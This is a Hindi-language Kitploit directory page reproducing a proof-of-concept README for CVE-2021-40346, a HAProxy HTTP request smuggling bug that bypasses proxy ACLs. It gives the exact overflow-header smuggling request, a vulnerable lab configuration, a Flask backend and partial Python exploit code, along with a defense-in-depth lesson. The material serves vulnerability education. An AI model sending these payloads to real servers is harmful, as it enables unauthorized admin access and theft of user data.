Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-40346 — HTTP अनुरोध तस्करी | Kitploit
उपकरण/GitHubGitHub/boianeduard/cve-2021-40346
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP अनुरोध तस्करी

रिपॉजिटरी देखें
16 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-40346: HAProxy HTTP अनुरोध तस्करी - ACL बायपास

अवलोकन

यह प्रोजेक्ट CVE-2021-40346 को प्रदर्शित करता है, जो HAProxy में एक गंभीर पूर्णांक अतिप्रवाह भेद्यता है जो सुरक्षा नियंत्रणों को बायपास करने के लिए HTTP अनुरोध तस्करी हमलों को सक्षम बनाती है।

CVSSv3 स्कोर: 7.5 (उच्च)

योगदानकर्ता:

  1. Boian Eduard
  2. Borsos Matheas-Roland

CVE-2021-40346 क्या है?

CVE-2021-40346 HAProxy के HTTP हेडर पार्सिंग तर्क में एक पूर्णांक अतिप्रवाह भेद्यता है। जब कोई हेडर नाम 255 बाइट्स से अधिक होता है, तो लंबाई मान 8-बिट फ़ील्ड से ओवरफ़्लो हो जाता है, जिससे HAProxy अनुरोध अग्रेषण के दौरान हेडर की गलत व्याख्या करता है।

हमला कैसे काम करता है

चरण-दर-चरण विवरण

  1. हमलावर भेजता है: हेडर नाम = "Content-Length0" + 255×'a' = 270 बाइट्स

  2. चरण 1 (प्रारंभिक पार्सिंग):

    • HAProxy हेडर नाम के सभी 270 बाइट्स पढ़ता है
    • name_length = 270 % 256 = 14 (8-बिट ओवरफ़्लो) संग्रहीत करता है
    • ओवरफ़्लो बिट value_length = 1 सेट करता है
    • वैध Content-Length: 60 हेडर को पढ़ता है और इसे बॉडी लंबाई मानता है
    • 60 बाइट्स को अनुरोध बॉडी के रूप में पढ़ता है (जिसमें तस्करी किया गया अनुरोध होता है)
  3. चरण 2 (अनुरोध अग्रेषण):

    • ओवरफ़्लो हेडर ब्लॉक का सामना करता है
    • केवल पहले 14 अक्षर पढ़ता है: "Content-Length"
    • मान के लिए 1 अक्षर पढ़ता है (14वें स्थान पर): "0"
    • अग्रेषित अनुरोध में content-length: 0 जोड़ता है
    • वास्तविक Content-Length: 60 हेडर को अनदेखा करता है (सामान्य तर्क के अनुसार)
  4. बैकएंड प्रसंस्करण:

    • HAProxy से content-length: 0 प्राप्त करता है
    • बिना बॉडी के POST अनुरोध को पार्स करता है
    • "बॉडी" (तस्करी किया गया GET अनुरोध) को अगले HTTP अनुरोध के रूप में मानता है
    • तस्करी किए गए अनुरोध को संसाधित करता है, सभी HAProxy ACL को बायपास करते हुए

हमला प्रवाह उदाहरण

एडमिन एंडपॉइंट तक पहुँचने के लिए ACL नियमों को बायपास करना

HAProxy को ACL नियमों के साथ कॉन्फ़िगर किया गया है जो एडमिन रूट्स तक पहुँच को प्रतिबंधित करते हैं:

http-request deny if { path_beg /users/admin }

हमारे PoC में, हम संरक्षित /users/admin एंडपॉइंट तक पहुँचने के लिए एक सामान्य उपयोगकर्ता सत्र (alice) का उपयोग करते हैं जो केवल प्रशासकों के लिए सुलभ होना चाहिए।

दुर्भावनापूर्ण अनुरोध (अनुरोध 1 - जहर):

POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

HAProxy द्वारा अग्रेषित अनुरोध:

POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

पूर्णता अनुरोध (अनुरोध 2):

GET / HTTP/1.1
Host: 127.0.0.1:8080

बैकएंड द्वारा संसाधित पूर्ण तस्करी अनुरोध:

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

परिणाम:

  1. HAProxy content-length: 0 के साथ POST / को अग्रेषित करता है (ACL सुरक्षित मार्ग देखता है)
  2. बैकएंड POST / (बिना बॉडी) को संसाधित करता है और अगले अनुरोध की प्रतीक्षा करता है
  3. बैकएंड अधूरे तस्करी किए गए GET /users/admin को लंबित अनुरोध मानता है
  4. अनुरोध 2 तस्करी किए गए अनुरोध को पूरा करता है
  5. बैकएंड alice के सत्र के साथ GET /users/admin को संसाधित करता है, HAProxy ACL को बायपास करते हुए
  6. एडमिन रहस्यों वाला प्रतिक्रिया हमलावर को लौटा दिया जाता है

प्रूफ ऑफ कॉन्सेप्ट

परीक्षण वातावरण सेटअप

HAProxy कॉन्फ़िगरेशन (haproxy.cfg)

कमजोर HAProxy इंस्टेंस को एडमिन एंडपॉइंट की सुरक्षा के लिए ACL नियमों के साथ कॉन्फ़िगर किया गया है:

...
    # एडमिन एंडपॉइंट तक पहुँच का पता लगाने के लिए ACL
    acl is_admin_endpoint path_beg /users/admin
    
    # एडमिन सत्र कुकी की जाँच करने के लिए ACL
    acl has_admin_session cook(session) -m beg admin_
    
    # यदि उपयोगकर्ता के पास एडमिन सत्र नहीं है तो एडमिन एंडपॉइंट तक पहुँच अस्वीकार करें
    http-request deny if is_admin_endpoint !has_admin_session
...

मुख्य बिंदु:

  • ACL सुरक्षा: /users/admin तब तक अवरुद्ध है जब तक सत्र कुकी admin_ से शुरू न हो
  • HTTP Keep-Alive (डिफ़ॉल्ट): HAProxy डिफ़ॉल्ट रूप से कीप-एलाइव मोड का उपयोग करता है, बैकएंड के लिए TCP कनेक्शन का पुन: उपयोग करता है - यह हमले के लिए महत्वपूर्ण है क्योंकि यह एक ही कनेक्शन पर कई अनुरोधों की अनुमति देता है
  • सत्र-आधारित पहुँच नियंत्रण: सामान्य उपयोगकर्ता (सत्र user_ से शुरू होने वाले) अस्वीकार कर दिए जाते हैं

बैकएंड सर्वर (Flask)

बैकएंड सर्वर में तीन उपयोगकर्ता और एक एडमिन एंडपॉइंट है:

USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... प्रमाणीकरण तर्क ...
    
    # भूमिका उपसर्ग के साथ सत्र टोकन उत्पन्न करें
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # सभी उपयोगकर्ता पासवर्ड सहित संवेदनशील डेटा लौटाता है
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"ADMIN PANELAll users with passwords:{rows}"

सुरक्षा मॉडल:

  • Alice (सामान्य उपयोगकर्ता) को सत्र मिलता है: user_a1b2c3d4...
  • एडमिन को सत्र मिलता है: admin_a1b2c3d4...
  • HAProxy alice के /users/admin के अनुरोधों को ब्लॉक करता है
  • बैकएंड गलत कॉन्फ़िगरेशन: Flask सर्वर अंध विश्वास करता है कि HAProxy ने पहले ही पहुँच नियंत्रण लागू कर दिया है, और संवेदनशील डेटा परोसने से पहले सत्र टोकन को पुन: मान्य नहीं करता है या जाँच नहीं करता है कि उपयोगकर्ता वास्तव में एडमिन है या नहीं
  • भेद्यता: HTTP तस्करी HAProxy की ACL जाँच को बायपास करती है, और बैकएंड के पास कोई गहराई में सुरक्षा नहीं है

यह क्यों काम करता है:

  1. HAProxy बाहरी POST / अनुरोध (अनुमत) देखता है
  2. HAProxy POST / पर ACL जाँचता है (कोई एडमिन प्रतिबंध नहीं)
  3. HAProxy content-length: 0 अग्रेषित करता है (ओवरफ़्लो बग के कारण)
  4. बैकएंड अधूरा GET /users/admin अनुरोध प्राप्त करता है
  5. दूसरा अनुरोध इसे पूरा करता है, HAProxy की ACL जाँच को बायपास करते हुए
  6. बैकएंड अंधाधुंध एडमिन एंडपॉइंट प्रस्तुत करता है - यह कभी जाँच नहीं करता कि सत्र टोकन वास्तव में एक एडमिन टोकन है या नहीं
  7. बैकएंड GET /users/admin को सीधे संसाधित करता है, पासवर्ड प्रकट करता है

गहराई में सुरक्षा सबक: यह प्रदर्शित करता है कि बैकएंड को कभी भी प्रॉक्सी पर अंध विश्वास नहीं करना चाहिए। HAProxy के ACL के होने के बावजूद, बैकएंड को:

  • सत्र टोकन को स्वयं पार्स और मान्य करना चाहिए
  • संवेदनशील एंडपॉइंट परोसने से पहले उपयोगकर्ता की भूमिका/अनुमतियों की जाँच करनी चाहिए
  • अपना स्वयं का प्राधिकरण तर्क लागू करना चाहिए (जैसे, @require_admin डेकोरेटर)

केवल प्रॉक्सी-स्तरीय पहुँच नियंत्रण पर निर्भर रहना एकल विफलता बिंदु बनाता है।

मुख्य शोषण अनुक्रम

PoC चार प्रमुख चरणों के माध्यम से एक सामान्य उपयोगकर्ता के सत्र का उपयोग करके /users/admin तक पहुँचने के लिए HAProxy ACL को बायपास करने का प्रदर्शन करता है:

1. सामान्य उपयोगकर्ता के रूप में प्रमाणीकरण

# alice (गैर-एडमिन उपयोगकर्ता) के रूप में लॉगिन करें
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()

sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)

# प्रतिक्रिया प्राप्त करें और सत्र टोकन निकालें
resp = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    resp += chunk
sock.close()
टूल डाउनलोड करें